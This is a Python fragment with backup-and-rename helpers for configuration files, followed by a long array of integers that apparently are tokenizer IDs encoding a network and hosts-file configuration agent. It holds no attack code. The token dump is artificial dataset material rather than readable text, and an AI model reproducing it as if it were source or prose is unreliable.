os.rename('%s.%s' % (filepath, tmp_suffix), filepath)
except:
# Move backup file back so there's some sort of configuration
os.rename('%s.%s' % (filepath, bak_suffix), filepath)
raise
for filepath in remove_files:
logging.info("moving %s (%s)" % (filepath, bak_suffix))
os.rename(filepath, '%s.%s' % (filepath, bak_suffix))
def update_files(update_files, remove_files=None):
stage_files(update_files)
move_files(update_files, remove_files)
| [
1,
396,
325,
326,
29901,
4434,
9847,
29922,
29946,
9500,
2103,
29922,
29946,
4964,
3891,
9847,
29922,
29946,
13,
29937,
13,
29937,
29871,
14187,
1266,
313,
29883,
29897,
29871,
29906,
29900,
29896,
29896,
4673,
1429,
29892,
365,
12182,
29889,
13,
29937,
29871,
2178,
26863,
2538,
9841,
29889,
13,
29937,
13,
29937,
268,
10413,
21144,
1090,
278,
13380,
19245,
29892,
10079,
29871,
29906,
29889,
29900,
313,
1552,
376,
29931,
293,
1947,
1496,
366,
1122,
13,
29937,
268,
451,
671,
445,
934,
5174,
297,
752,
13036,
411,
278,
19245,
29889,
887,
1122,
4017,
13,
29937,
268,
263,
3509,
310,
278,
19245,
472,
13,
29937,
13,
29937,
3986,
1732,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
13,
29937,
13,
29937,
268,
25870,
3734,
491,
22903,
4307,
470,
15502,
304,
297,
5007,
29892,
7047,
13,
29937,
268,
13235,
1090,
278,
19245,
338,
13235,
373,
385,
376,
3289,
8519,
29908,
350,
3289,
3235,
29892,
399,
1806,
8187,
2692,
13,
29937,
268,
399,
1718,
29934,
13566,
29059,
6323,
8707,
29928,
22122,
29903,
8079,
13764,
29979,
476,
22255,
29892,
2845,
4653,
470,
2411,
2957,
29889,
2823,
278,
13,
29937,
268,
19245,
363,
278,
2702,
4086,
14765,
1076,
11239,
322,
27028,
13,
29937,
268,
1090,
278,
19245,
29889,
13,
29937,
13,
13,
15945,
29908,
13,
7249,
3984,
29883,
8260,
7079,
13,
15945,
29908,
13,
13,
2202,
29901,
13,
1678,
1053,
738,
3126,
13,
19499,
16032,
2392,
29901,
13,
1678,
1018,
29901,
13,
4706,
1053,
2560,
3126,
408,
4390,
13,
1678,
5174,
16032,
2392,
29901,
13,
4706,
1053,
4390,
13,
13,
1678,
770,
738,
3126,
29898,
3318,
1125,
13,
4706,
9995,
29943,
1296,
738,
3126,
3883,
408,
263,
770,
15945,
29908,
13,
13,
4706,
732,
7959,
5696,
13,
4706,
822,
28755,
29898,
9721,
1125,
13,
9651,
736,
4390,
29889,
29881,
17204,
29898,
9721,
29897,
13,
13,
4706,
732,
7959,
5696,
13,
4706,
822,
16964,
6646,
29898,
9721,
1125,
13,
9651,
736,
4390,
29889,
18132,
29898,
9721,
29897,
13,
13,
3166,
274,
1231,
5971,
1053,
1714,
5971,
13,
5215,
285,
20047,
29880,
13,
5215,
12183,
13,
5215,
2897,
13,
5215,
7481,
13,
5215,
11451,
29916,
264,
8899,
13,
5215,
337,
13,
5215,
9909,
13,
5215,
931,
13,
3166,
274,
8768,
1053,
334,
13,
13,
5215,
10823,
1982,
13,
5215,
8260,
13,
5215,
2553,
713,
29889,
11618,
13,
5215,
2654,
2455,
29889,
11618,
13,
5215,
3190,
29889,
11618,
13,
5215,
480,
344,
29889,
11618,
13,
5215,
8116,
3634,
29889,
11618,
13,
5215,
3005,
774,
4928,
29889,
11618,
13,
13,
13,
29990,
1430,
1254,
29949,
1525,
29918,
23845,
29943,
11538,
29918,
10145,
353,
376,
6925,
29899,
1272,
29914,
11618,
292,
29908,
13,
29990,
1430,
1254,
29949,
1525,
29918,
20832,
5813,
29918,
10145,
353,
376,
6925,
29899,
1272,
29914,
28988,
29908,
13,
23397,
29918,
20832,
5813,
353,
6629,
13,
20832,
29903,
29918,
7724,
353,
8207,
7070,
29914,
23525,
29915,
13,
15989,
5607,
29963,
29918,
6007,
29943,
29918,
7724,
353,
8207,
7070,
29914,
9778,
29894,
29889,
5527,
29915,
13,
13,
361,
2897,
29889,
348,
420,
580,
29961,
29900,
1822,
13609,
580,
1275,
525,
10745,
774,
4928,
2396,
13,
1678,
2672,
4945,
29943,
11538,
29918,
24461,
6670,
29903,
353,
8853,
3597,
1115,
376,
29916,
29876,
29900,
613,
13,
462,
4706,
376,
9053,
1115,
376,
29916,
29876,
29896,
9092,
13,
2870,
29901,
13,
1678,
2672,
4945,
29943,
11538,
29918,
24461,
6670,
29903,
353,
8853,
3597,
1115,
376,
621,
29900,
613,
13,
462,
4706,
376,
9053,
1115,
376,
621,
29896,
9092,
13,
13,
6006,
1529,
16033,
29918,
4986,
29918,
15094,
25634,
1307,
29940,
353,
426,
13,
1678,
525,
29906,
29945,
29945,
29889,
29906,
29945,
29945,
29889,
29906,
29945,
29945,
29889,
29906,
29945,
29945,
2396,
29871,
29941,
29906,
29892,
525,
29906,
29945,
29945,
29889,
29906,
29945,
29945,
29889,
29906,
29945,
29945,
29889,
29906,
29945,
29946,
2396,
29871,
29941,
29896,
29892,
13,
1678,
525,
29906,
29945,
29945,
29889,
29906,
29945,
29945,
29889,
29906,
29945,
29945,
29889,
29906,
29945,
29906,
2396,
29871,
29941,
29900,
29892,
525,
29906,
29945,
29945,
29889,
29906,
29945,
29945,
29889,
29906,
29945,
29945,
29889,
29906,
29946,
29947,
2396,
29871,
29906,
29929,
29892,
13,
1678,
525,
29906,
29945,
29945,
29889,
29906,
29945,
29945,
29889,
29906,
29945,
29945,
29889,
29906,
29946,
29900,
2396,
29871,
29906,
29947,
29892,
525,
29906,
29945,
29945,
29889,
29906,
29945,
29945,
29889,
29906,
29945,
29945,
29889,
29906,
29906,
29946,
2396,
29871,
29906,
29955,
29892,
13,
1678,
525,
29906,
29945,
29945,
29889,
29906,
29945,
29945,
29889,
29906,
29945,
29945,
29889,
29896,
29929,
29906,
2396,
29871,
29906,
29953,
29892,
525,
29906,
29945,
29945,
29889,
29906,
29945,
29945,
29889,
29906,
29945,
29945,
29889,
29896,
29906,
29947,
2396,
29871,
29906,
29945,
29892,
13,
1678,
525,
29906,
29945,
29945,
29889,
29906,
29945,
29945,
29889,
29906,
29945,
29945,
29889,
29900,
2396,
29871,
29906,
29946,
29892,
259,
525,
29906,
29945,
29945,
29889,
29906,
29945,
29945,
29889,
29906,
29945,
29946,
29889,
29900,
2396,
29871,
29906,
29941,
29892,
13,
1678,
525,
29906,
29945,
29945,
29889,
29906,
29945,
29945,
29889,
29906,
29945,
29906,
29889,
29900,
2396,
29871,
29906,
29906,
29892,
259,
525,
29906,
29945,
29945,
29889,
29906,
29945,
29945,
29889,
29906,
29946,
29947,
29889,
29900,
2396,
29871,
29906,
29896,
29892,
13,
1678,
525,
29906,
29945,
29945,
29889,
29906,
29945,
29945,
29889,
29906,
29946,
29900,
29889,
29900,
2396,
29871,
29906,
29900,
29892,
259,
525,
29906,
29945,
29945,
29889,
29906,
29945,
29945,
29889,
29906,
29906,
29946,
29889,
29900,
2396,
29871,
29896,
29929,
29892,
13,
1678,
525,
29906,
29945,
29945,
29889,
29906,
29945,
29945,
29889,
29896,
29929,
29906,
29889,
29900,
2396,
29871,
29896,
29947,
29892,
259,
525,
29906,
29945,
29945,
29889,
29906,
29945,
29945,
29889,
29896,
29906,
29947,
29889,
29900,
2396,
29871,
29896,
29955,
29892,
13,
1678,
525,
29906,
29945,
29945,
29889,
29906,
29945,
29945,
29889,
29900,
29889,
29900,
2396,
29871,
29896,
29953,
29892,
268,
525,
29906,
29945,
29945,
29889,
29906,
29945,
29946,
29889,
29900,
29889,
29900,
2396,
29871,
29896,
29945,
29892,
13,
1678,
525,
29906,
29945,
29945,
29889,
29906,
29945,
29906,
29889,
29900,
29889,
29900,
2396,
29871,
29896,
29946,
29892,
268,
525,
29906,
29945,
29945,
29889,
29906,
29946,
29947,
29889,
29900,
29889,
29900,
2396,
29871,
29896,
29941,
29892,
13,
1678,
525,
29906,
29945,
29945,
29889,
29906,
29946,
29900,
29889,
29900,
29889,
29900,
2396,
29871,
29896,
29906,
29892,
268,
525,
29906,
29945,
29945,
29889,
29906,
29906,
29946,
29889,
29900,
29889,
29900,
2396,
29871,
29896,
29896,
29892,
13,
1678,
525,
29906,
29945,
29945,
29889,
29896,
29929,
29906,
29889,
29900,
29889,
29900,
2396,
29871,
29896,
29900,
29892,
268,
525,
29906,
29945,
29945,
29889,
29896,
29906,
29947,
29889,
29900,
29889,
29900,
2396,
29871,
29929,
29892,
13,
1678,
525,
29906,
29945,
29945,
29889,
29900,
29889,
29900,
29889,
29900,
2396,
29871,
29947,
29892,
4706,
525,
29906,
29945,
29946,
29889,
29900,
29889,
29900,
29889,
29900,
2396,
29871,
29955,
29892,
13,
1678,
525,
29906,
29945,
29906,
29889,
29900,
29889,
29900,
29889,
29900,
2396,
29871,
29953,
29892,
4706,
525,
29906,
29946,
29947,
29889,
29900,
29889,
29900,
29889,
29900,
2396,
29871,
29945,
29892,
13,
1678,
525,
29906,
29946,
29900,
29889,
29900,
29889,
29900,
29889,
29900,
2396,
29871,
29946,
29892,
4706,
525,
29896,
29955,
29906,
29889,
29896,
29953,
29889,
29941,
29896,
29889,
29896,
29900,
2396,
29871,
29941,
29892,
13,
1678,
525,
29896,
29929,
29906,
29889,
29900,
29889,
29900,
29889,
29900,
2396,
29871,
29906,
29892,
4706,
525,
29896,
29955,
29906,
29889,
29896,
29953,
29889,
29896,
29955,
29889,
29941,
29906,
2396,
29871,
29896,
29892,
13,
1678,
525,
29900,
29889,
29900,
29889,
29900,
29889,
29900,
2396,
29871,
29900,
29892,
13,
29913,
13,
13,
13,
1990,
8527,
5261,
4167,
29898,
26381,
29889,
6255,
5160,
1125,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
334,
5085,
29892,
3579,
19290,
1125,
13,
4706,
1209,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
6459,
29918,
359,
7295,
13,
4706,
9995,
13,
4706,
7106,
278,
8074,
17740,
470,
916,
6570,
1024,
13,
4706,
9995,
13,
13,
4706,
5578,
800,
353,
8853,
16529,
713,
1115,
2553,
713,
29892,
13,
462,
4706,
376,
8767,
1115,
2553,
713,
29892,
13,
462,
4706,
376,
1127,
2455,
1115,
2654,
2455,
29892,
13,
462,
4706,
376,
1760,
359,
1115,
2654,
2455,
29892,
13,
462,
4706,
376,
29888,
287,
2207,
1115,
2654,
2455,
29892,
13,
462,
4706,
376,
11347,
1115,
2654,
2455,
29892,
13,
462,
4706,
376,
1279,
1115,
3190,
29892,
13,
462,
4706,
376,
22156,
1509,
1115,
480,
344,
29892,
13,
462,
4706,
376,
29879,
1509,
1115,
480,
344,
29892,
13,
462,
4706,
376,
5362,
3634,
1115,
8116,
3634,
29892,
13,
462,
4706,
376,
10745,
774,
4928,
1115,
3005,
774,
4928,
29913,
13,
13,
4706,
1788,
353,
2897,
29889,
348,
420,
580,
29961,
29900,
29962,
13,
4706,
565,
1788,
1275,
376,
24085,
1115,
13,
9651,
1788,
353,
7481,
29889,
9389,
29918,
27691,
29898,
8159,
29918,
27691,
29918,
978,
29922,
29900,
9601,
29900,
29962,
13,
13,
9651,
396,
2595,
8074,
3639,
6213,
363,
7481,
29889,
9389,
29918,
27691,
580,
13,
9651,
565,
451,
1788,
322,
2897,
29889,
2084,
29889,
9933,
11219,
7070,
29914,
1279,
29899,
14096,
29374,
13,
18884,
1788,
353,
525,
1279,
29915,
13,
13,
4706,
565,
451,
1788,
29901,
13,
9651,
736,
6213,
13,
13,
4706,
1788,
353,
1788,
29889,
13609,
580,
13,
4706,
5534,
22236,
29918,
20832,
5813,
13,
4706,
22236,
29918,
20832,
5813,
353,
1788,
13,
13,
4706,
736,
5578,
800,
29889,
657,
29898,
5205,
29897,
13,
13,
1678,
732,
26381,
29889,
6519,
29918,
1202,
877,
12071,
11618,
1495,
13,
1678,
822,
10092,
11618,
29918,
9006,
29898,
1311,
29892,
848,
1125,
13,
13,
4706,
2897,
29918,
1545,
353,
1583,
29889,
4801,
522,
29918,
359,
580,
13,
4706,
565,
451,
2897,
29918,
1545,
29901,
13,
9651,
12020,
2184,
2392,
703,
23323,
29876,
29915,
29873,
4377,
714,
590,
6570,
1159,
13,
13,
4706,
14492,
29918,
8411,
353,
11451,
29916,
264,
8899,
29889,
13554,
580,
13,
13,
4706,
1018,
29901,
13,
9651,
3495,
978,
353,
14492,
29918,
8411,
29889,
949,
29898,
29990,
1430,
1254,
29949,
1525,
29918,
20832,
5813,
29918,
10145,
29897,
13,
9651,
12183,
29889,
3888,
877,
28988,
29901,
1273,
29878,
313,
3166,
921,
264,
8899,
16029,
1273,
3495,
978,
29897,
13,
4706,
5174,
11451,
29916,
264,
8899,
29889,
17413,
2392,
29901,
13,
9651,
3495,
978,
353,
22236,
29918,
20832,
5813,
13,
9651,
12183,
29889,
3888,
877,
28988,
29901,
1273,
29878,
313,
4381,
16029,
1273,
3495,
978,
29897,
13,
13,
4706,
19510,
353,
5159,
13,
13,
4706,
1018,
29901,
13,
9651,
9976,
353,
14492,
29918,
8411,
29889,
26586,
29898,
29990,
1430,
1254,
29949,
1525,
29918,
23845,
29943,
11538,
29918,
10145,
29897,
13,
4706,
5174,
11451,
29916,
264,
8899,
29889,
17413,
2392,
29901,
13,
9651,
9976,
353,
5159,
13,
13,
4706,
363,
6251,
297,
9976,
29901,
13,
9651,
848,
353,
14492,
29918,
8411,
29889,
949,
29898,
29990,
1430,
1254,
29949,
1525,
29918,
23845,
29943,
11538,
29918,
10145,
718,
8207,
29915,
718,
6251,
29897,
13,
9651,
848,
353,
738,
3126,
29889,
2783,
261,
6646,
29898,
1272,
29897,
13,
9651,
19510,
29889,
4397,
29898,
1272,
29897,
13,
9651,
12183,
29889,
3888,
877,
13248,
1273,
29879,
29901,
1273,
29878,
29915,
1273,
313,
8269,
29892,
848,
876,
13,
13,
4706,
628,
14492,
29918,
8411,
13,
13,
4706,
396,
21981,
675,
19510,
848,
29889,
739,
508,
2041,
297,
263,
7303,
310,
1422,
13,
4706,
396,
313,
29764,
29897,
21971,
29892,
5642,
310,
607,
526,
19192,
29889,
13,
4706,
491,
29918,
8628,
10030,
353,
9657,
4197,
29898,
8628,
29892,
313,
786,
29892,
1024,
876,
13,
462,
965,
363,
1024,
29892,
701,
29892,
5825,
297,
10823,
1982,
29889,
657,
29918,
1639,
8726,
580,
2314,
13,
13,
4706,
2295,
353,
6571,
13,
13,
4706,
363,
5067,
297,
19510,
29901,
13,
9651,
565,
2917,
353,
6571,
13,
13,
9651,
5825,
353,
5067,
29889,
657,
877,
8628,
1495,
13,
9651,
565,
451,
5825,
29901,
13,
18884,
12020,
24875,
2392,
877,
3782,
26750,
1476,
297,
2295,
1495,
13,
13,
9651,
396,
491,
29918,
8628,
10030,
338,
1820,
287,
773,
5224,
1206,
15090,
1943,
29883,
3039,
13,
9651,
5825,
353,
5825,
29889,
13609,
580,
13,
13,
9651,
565,
2917,
1839,
8628,
2033,
353,
5825,
13,
13,
9651,
396,
525,
1643,
29915,
1304,
304,
367,
278,
1158,
304,
8161,
607,
5067,
13,
9651,
396,
445,
5285,
16058,
304,
29892,
541,
525,
8628,
29915,
338,
872,
571,
304,
671,
29889,
13,
9651,
396,
525,
1643,
29915,
338,
1641,
1374,
1463,
714,
1286,
29889,
13,
9651,
565,
5825,
451,
297,
491,
29918,
8628,
10030,
29901,
13,
18884,
12020,
24875,
2392,
877,
14148,
5067,
26750,
1273,
29879,
29915,
1273,
5825,
29897,
13,
13,
9651,
565,
2917,
1839,
1643,
2033,
353,
5067,
29889,
657,
877,
1643,
1495,
13,
13,
9651,
701,
29892,
565,
978,
353,
491,
29918,
8628,
10030,
29961,
8628,
29962,
13,
13,
9651,
396,
14164,
565,
278,
5067,
338,
701,
2307,
13,
9651,
565,
2917,
1839,
786,
2033,
353,
701,
13,
13,
9651,
396,
2391,
310,
5641,
29894,
29946,
322,
5641,
29894,
29953,
14157,
13,
9651,
10377,
29946,
29879,
353,
5067,
29889,
657,
877,
4512,
742,
518,
2314,
13,
9651,
10377,
29953,
29879,
353,
5067,
29889,
657,
877,
666,
29953,
29879,
742,
518,
2314,
13,
9651,
565,
451,
10377,
29946,
29879,
322,
451,
10377,
29953,
29879,
29901,
13,
18884,
12020,
24875,
2392,
877,
3782,
5641,
29879,
1476,
363,
5067,
1495,
13,
13,
9651,
396,
22510,
1582,
313,
267,
25009,
5641,
29894,
29953,
29897,
508,
367,
21351,
304,
385,
5067,
13,
9651,
28646,
29946,
353,
5067,
29889,
657,
877,
17062,
1582,
1495,
13,
9651,
28646,
29953,
353,
5067,
29889,
657,
877,
17062,
1582,
29953,
1495,
13,
13,
9651,
396,
19916,
714,
738,
5641,
29879,
393,
9455,
29915,
29873,
9615,
13,
9651,
363,
10377,
297,
10377,
29946,
29879,
718,
10377,
29953,
29879,
29901,
13,
18884,
1018,
29901,
13,
462,
1678,
10377,
1839,
17590,
2033,
353,
938,
29898,
666,
29889,
657,
877,
17590,
742,
29871,
29900,
876,
13,
18884,
5174,
7865,
2392,
29901,
13,
462,
1678,
12020,
24875,
2392,
703,
13919,
995,
1273,
29878,
363,
525,
17590,
29915,
1820,
29908,
1273,
13,
462,
462,
539,
10377,
29889,
657,
877,
17590,
8785,
13,
13,
9651,
10377,
29946,
29879,
353,
4175,
29898,
2892,
474,
29901,
474,
1839,
17590,
7464,
10377,
29946,
29879,
29897,
13,
9651,
10377,
29953,
29879,
353,
4175,
29898,
2892,
474,
29901,
474,
1839,
17590,
7464,
10377,
29953,
29879,
29897,
13,
13,
9651,
396,
15758,
403,
322,
4226,
675,
5641,
29894,
29946,
322,
5641,
29894,
29953,
14157,
13,
9651,
363,
10377,
297,
10377,
29946,
29879,
29901,
13,
18884,
565,
525,
666,
29915,
451,
297,
10377,
29901,
13,
462,
1678,
12020,
24875,
2392,
703,
18552,
292,
525,
666,
29915,
1820,
363,
5641,
29894,
29946,
3211,
1159,
13,
18884,
565,
525,
1212,
13168,
29915,
451,
297,
10377,
29901,
13,
462,
1678,
12020,
24875,
2392,
703,
18552,
292,
525,
1212,
13168,
29915,
1820,
363,
5641,
29894,
29946,
3211,
1159,
13,
13,
18884,
396,
390,
3871,
525,
666,
29915,
304,
525,
7328,
29915,
304,
367,
901,
2702,
13,
18884,
10377,
1839,
7328,
2033,
353,
10377,
29889,
7323,
877,
666,
1495,
13,
18884,
10377,
1839,
13506,
2435,
2033,
353,
405,
2544,
1529,
16033,
29918,
4986,
29918,
15094,
25634,
1307,
29940,
29961,
666,
1839,
1212,
13168,
2033,
29962,
13,
13,
9651,
363,
10377,
297,
10377,
29953,
29879,
29901,
13,
18884,
565,
525,
666,
29915,
451,
297,
10377,
322,
525,
7328,
29915,
451,
297,
10377,
29901,
13,
462,
1678,
12020,
24875,
2392,
703,
18552,
292,
525,
666,
29915,
470,
525,
7328,
29915,
1820,
363,
5641,
29894,
29953,
3211,
1159,
13,
18884,
565,
525,
1212,
13168,
29915,
451,
297,
10377,
29901,
13,
462,
1678,
12020,
24875,
2392,
703,
18552,
292,
525,
1212,
13168,
29915,
1820,
363,
5641,
29894,
29953,
3211,
1159,
13,
13,
18884,
565,
525,
17062,
1582,
29915,
297,
10377,
29901,
13,
462,
1678,
396,
383,
6415,
2303,
29901,
10575,
591,
4418,
565,
28646,
29953,
338,
2307,
731,
29973,
13,
462,
1678,
28646,
29953,
353,
10377,
29889,
7323,
877,
17062,
1582,
1495,
13,
13,
18884,
396,
383,
6415,
2303,
29901,
10575,
591,
4418,
565,
1716,
525,
666,
29915,
322,
525,
7328,
29915,
526,
13,
18884,
396,
6790,
541,
1163,
29973,
13,
13,
18884,
396,
390,
3871,
525,
666,
29915,
304,
525,
7328,
29915,
304,
367,
901,
2702,
13,
18884,
565,
525,
7328,
29915,
451,
297,
10377,
29901,
13,
462,
1678,
10377,
1839,
7328,
2033,
353,
10377,
29889,
7323,
877,
666,
1495,
13,
13,
18884,
396,
390,
3871,
525,
1212,
13168,
29915,
304,
525,
13506,
2435,
29915,
304,
367,
901,
16232,
13,
18884,
10377,
1839,
13506,
2435,
2033,
353,
10377,
29889,
7323,
877,
1212,
13168,
1495,
13,
13,
9651,
565,
2917,
1839,
666,
29946,
29879,
2033,
353,
10377,
29946,
29879,
13,
9651,
565,
2917,
1839,
666,
29953,
29879,
2033,
353,
10377,
29953,
29879,
13,
13,
9651,
565,
2917,
1839,
17062,
1582,
29946,
2033,
353,
28646,
29946,
13,
9651,
565,
2917,
1839,
17062,
1582,
29953,
2033,
353,
28646,
29953,
13,
13,
9651,
396,
20829,
267,
526,
13136,
13,
9651,
12049,
353,
5067,
29889,
657,
877,
27894,
742,
518,
2314,
13,
13,
9651,
396,
15758,
403,
322,
4226,
675,
12049,
13,
9651,
363,
5782,
297,
12049,
29901,
13,
18884,
565,
525,
13134,
29915,
451,
297,
5782,
29901,
13,
462,
1678,
12020,
24875,
2392,
703,
18552,
292,
525,
13134,
29915,
1820,
363,
5782,
1159,
13,
18884,
565,
525,
1212,
13168,
29915,
451,
297,
5782,
29901,
13,
462,
1678,
12020,
24875,
2392,
703,
18552,
292,
525,
1212,
13168,
29915,
1820,
363,
5782,
1159,
13,
18884,
565,
525,
17062,
1582,
29915,
451,
297,
5782,
29901,
13,
462,
1678,
12020,
24875,
2392,
703,
18552,
292,
525,
17062,
1582,
29915,
1820,
363,
5782,
1159,
13,
13,
18884,
396,
390,
3871,
525,
13134,
29915,
304,
525,
11618,
29915,
304,
367,
901,
2702,
13,
18884,
5782,
1839,
11618,
2033,
353,
5782,
29889,
7323,
877,
13134,
1495,
13,
18884,
5782,
1839,
13506,
2435,
2033,
353,
405,
2544,
1529,
16033,
29918,
4986,
29918,
15094,
25634,
1307,
29940,
29961,
13134,
1839,
1212,
13168,
2033,
29962,
13,
13,
9651,
565,
2917,
1839,
27894,
2033,
353,
12049,
13,
13,
9651,
565,
2917,
1839,
29881,
1983,
2033,
353,
5067,
29889,
657,
877,
29881,
1983,
742,
518,
2314,
13,
13,
9651,
2295,
29961,
361,
978,
29962,
353,
565,
2917,
13,
13,
4706,
396,
14402,
29901,
10575,
591,
4418,
565,
727,
3508,
29915,
29873,
472,
3203,
697,
28646,
6790,
29973,
13,
4706,
396,
361,
451,
28646,
29946,
322,
451,
28646,
29953,
29901,
13,
4706,
396,
1678,
12020,
24875,
2392,
877,
3782,
28646,
1476,
363,
970,
5067,
1495,
13,
13,
4706,
736,
2897,
29918,
1545,
29889,
11618,
29889,
17591,
29918,
11618,
29898,
28988,
29892,
2295,
29897,
13,
13,
13,
1753,
903,
657,
29918,
7070,
29918,
23525,
29898,
262,
1445,
29892,
19510,
29892,
3495,
978,
1125,
13,
1678,
474,
567,
353,
731,
580,
13,
1678,
363,
5067,
297,
19510,
29889,
1524,
5975,
7295,
13,
4706,
10377,
29946,
29879,
353,
5067,
1839,
666,
29946,
29879,
2033,
13,
4706,
565,
10377,
29946,
29879,
29901,
13,
9651,
474,
567,
29889,
1202,
29898,
666,
29946,
29879,
29961,
29900,
22322,
7328,
11287,
13,
13,
4706,
10377,
29953,
29879,
353,
5067,
1839,
666,
29953,
29879,
2033,
13,
4706,
565,
10377,
29953,
29879,
29901,
13,
9651,
474,
567,
29889,
1202,
29898,
666,
29953,
29879,
29961,
29900,
22322,
7328,
11287,
13,
13,
1678,
714,
1445,
353,
1714,
5971,
580,
13,
13,
1678,
363,
1196,
297,
297,
1445,
29901,
13,
4706,
1196,
353,
1196,
29889,
17010,
580,
13,
13,
4706,
565,
16321,
29915,
297,
1196,
29901,
13,
9651,
2295,
29892,
3440,
353,
1196,
29889,
5451,
14237,
742,
29871,
29896,
29897,
13,
9651,
2295,
353,
2295,
29889,
17010,
580,
13,
9651,
3440,
353,
11297,
29873,
29937,
29915,
718,
3440,
13,
4706,
1683,
29901,
13,
9651,
2295,
29892,
3440,
353,
1196,
29892,
6629,
13,
13,
4706,
5633,
353,
337,
29889,
5451,
28909,
29879,
29974,
742,
2295,
29897,
13,
4706,
565,
5633,
29901,
13,
9651,
565,
5633,
29961,
29900,
29962,
297,
474,
567,
29901,
13,
18884,
1970,
666,
353,
5633,
29889,
7323,
29898,
29900,
29897,
13,
18884,
565,
7431,
29898,
20895,
29897,
1275,
29871,
29896,
322,
5633,
29961,
29900,
29962,
2804,
3495,
978,
29901,
13,
462,
1678,
396,
16740,
3495,
978,
393,
2923,
414,
29892,
591,
5191,
393,
697,
13,
462,
1678,
1596,
5099,
714,
1445,
29892,
16321,
1273,
29879,
29905,
29873,
29937,
5240,
8238,
491,
26121,
29899,
14748,
29915,
1273,
1196,
13,
462,
1678,
1596,
5099,
714,
1445,
29892,
14210,
29879,
29905,
29873,
29995,
29879,
29995,
29879,
29915,
1273,
313,
5527,
666,
29892,
3495,
978,
29892,
3440,
29897,
13,
18884,
25342,
7431,
29898,
20895,
29897,
1275,
29871,
29906,
322,
7431,
29898,
13,
462,
4706,
4175,
29898,
2892,
298,
29901,
525,
6169,
297,
298,
29892,
5633,
876,
1275,
29871,
29896,
29901,
13,
462,
1678,
396,
7803,
3495,
7039,
29892,
697,
263,
3495,
978,
29892,
697,
263,
5354,
1024,
29889,
22108,
13,
462,
1678,
396,
278,
3495,
978,
13,
462,
1678,
3495,
7039,
353,
2910,
29898,
13,
462,
9651,
14013,
298,
29901,
313,
4286,
29915,
297,
298,
29897,
322,
298,
470,
3495,
978,
29892,
5633,
29897,
13,
462,
1678,
1596,
5099,
714,
1445,
29892,
16321,
1273,
29879,
29905,
29873,
29937,
5240,
8238,
491,
26121,
29899,
14748,
29915,
1273,
1196,
13,
462,
1678,
1596,
5099,
714,
1445,
29892,
14210,
29879,
29905,
29873,
29995,
29879,
29995,
29879,
29915,
1273,
313,
5527,
666,
29892,
13,
462,
9651,
525,
15300,
7122,
29898,
3069,
7039,
511,
3440,
29897,
13,
18884,
1683,
29901,
13,
462,
1678,
396,
3872,
29915,
29873,
1073,
920,
304,
4386,
445,
1196,
29892,
577,
14383,
372,
13,
462,
1678,
1596,
5099,
714,
1445,
29892,
1196,
13,
13,
18884,
474,
567,
29889,
5992,
29898,
5527,
666,
29897,
13,
9651,
1683,
29901,
13,
18884,
1596,
5099,
714,
1445,
29892,
1196,
13,
4706,
1683,
29901,
13,
9651,
1596,
5099,
714,
1445,
29892,
1196,
13,
13,
1678,
396,
3462,
970,
5641,
29879,
591,
3282,
29915,
29873,
10933,
304,
13261,
13,
1678,
363,
10377,
297,
474,
567,
29901,
13,
4706,
1596,
5099,
714,
1445,
29892,
14210,
29879,
29905,
29873,
29995,
29879,
29915,
1273,
313,
666,
29892,
3495,
978,
29897,
13,
13,
1678,
714,
1445,
29889,
344,
1416,
29898,
29900,
29897,
13,
1678,
736,
714,
1445,
29889,
949,
580,
13,
13,
13,
1753,
679,
29918,
7070,
29918,
23525,
29898,
1639,
8726,
29892,
3495,
978,
1125,
13,
1678,
565,
2897,
29889,
2084,
29889,
9933,
29898,
20832,
29903,
29918,
7724,
1125,
13,
4706,
297,
1445,
353,
1722,
29898,
20832,
29903,
29918,
7724,
29897,
13,
1678,
1683,
29901,
13,
4706,
297,
1445,
353,
1714,
5971,
580,
13,
13,
1678,
736,
379,
3718,
29903,
29918,
7724,
29892,
903,
657,
29918,
7070,
29918,
23525,
29898,
262,
1445,
29892,
19510,
29892,
3495,
978,
29897,
13,
13,
13,
1753,
679,
29918,
17062,
1994,
29898,
1639,
8726,
1125,
13,
1678,
28646,
29946,
29879,
353,
5159,
13,
1678,
28646,
29953,
29879,
353,
5159,
13,
13,
1678,
363,
5067,
297,
19510,
29889,
1524,
5975,
7295,
13,
4706,
28646,
353,
5067,
29889,
657,
877,
17062,
1582,
29946,
1495,
13,
4706,
565,
28646,
29901,
13,
9651,
28646,
29946,
29879,
29889,
4397,
29898,
17062,
1582,
29897,
13,
13,
4706,
28646,
353,
5067,
29889,
657,
877,
17062,
1582,
29953,
1495,
13,
4706,
565,
28646,
29901,
13,
9651,
28646,
29953,
29879,
29889,
4397,
29898,
17062,
1582,
29897,
13,
13,
1678,
565,
7431,
29898,
17062,
1582,
29946,
29879,
29897,
1405,
29871,
29896,
29901,
13,
4706,
12020,
24875,
2392,
703,
15329,
552,
5641,
29894,
29946,
2322,
12049,
6790,
1159,
13,
1678,
565,
7431,
29898,
17062,
1582,
29953,
29879,
29897,
1405,
29871,
29896,
29901,
13,
4706,
12020,
24875,
2392,
703,
15329,
552,
5641,
29894,
29953,
2322,
12049,
6790,
1159,
13,
13,
1678,
28646,
29946,
353,
28646,
29946,
29879,
322,
28646,
29946,
29879,
29961,
29900,
29962,
470,
6213,
13,
1678,
28646,
29953,
353,
28646,
29953,
29879,
322,
28646,
29953,
29879,
29961,
29900,
29962,
470,
6213,
13,
13,
1678,
736,
28646,
29946,
29892,
28646,
29953,
13,
13,
13,
1753,
679,
29918,
7039,
261,
874,
29898,
1639,
8726,
1125,
13,
1678,
363,
5067,
297,
19510,
29889,
1524,
5975,
7295,
13,
4706,
363,
2983,
261,
369,
297,
5067,
1839,
29881,
1983,
2033,
29901,
13,
9651,
7709,
2983,
261,
369,
13,
13,
13,
1753,
679,
29918,
9778,
29894,
29918,
5527,
29898,
1639,
8726,
1125,
13,
1678,
3770,
29894,
29918,
1272,
353,
6629,
13,
1678,
363,
2983,
261,
369,
297,
679,
29918,
7039,
261,
874,
29898,
1639,
8726,
1125,
13,
4706,
3770,
29894,
29918,
1272,
4619,
525,
7039,
261,
369,
1273,
29879,
29905,
29876,
29915,
1273,
2983,
261,
369,
13,
13,
1678,
565,
451,
3770,
29894,
29918,
1272,
29901,
13,
4706,
736,
6213,
29892,
6213,
13,
13,
1678,
736,
390,
2890,
5607,
29963,
29918,
6007,
29943,
29918,
7724,
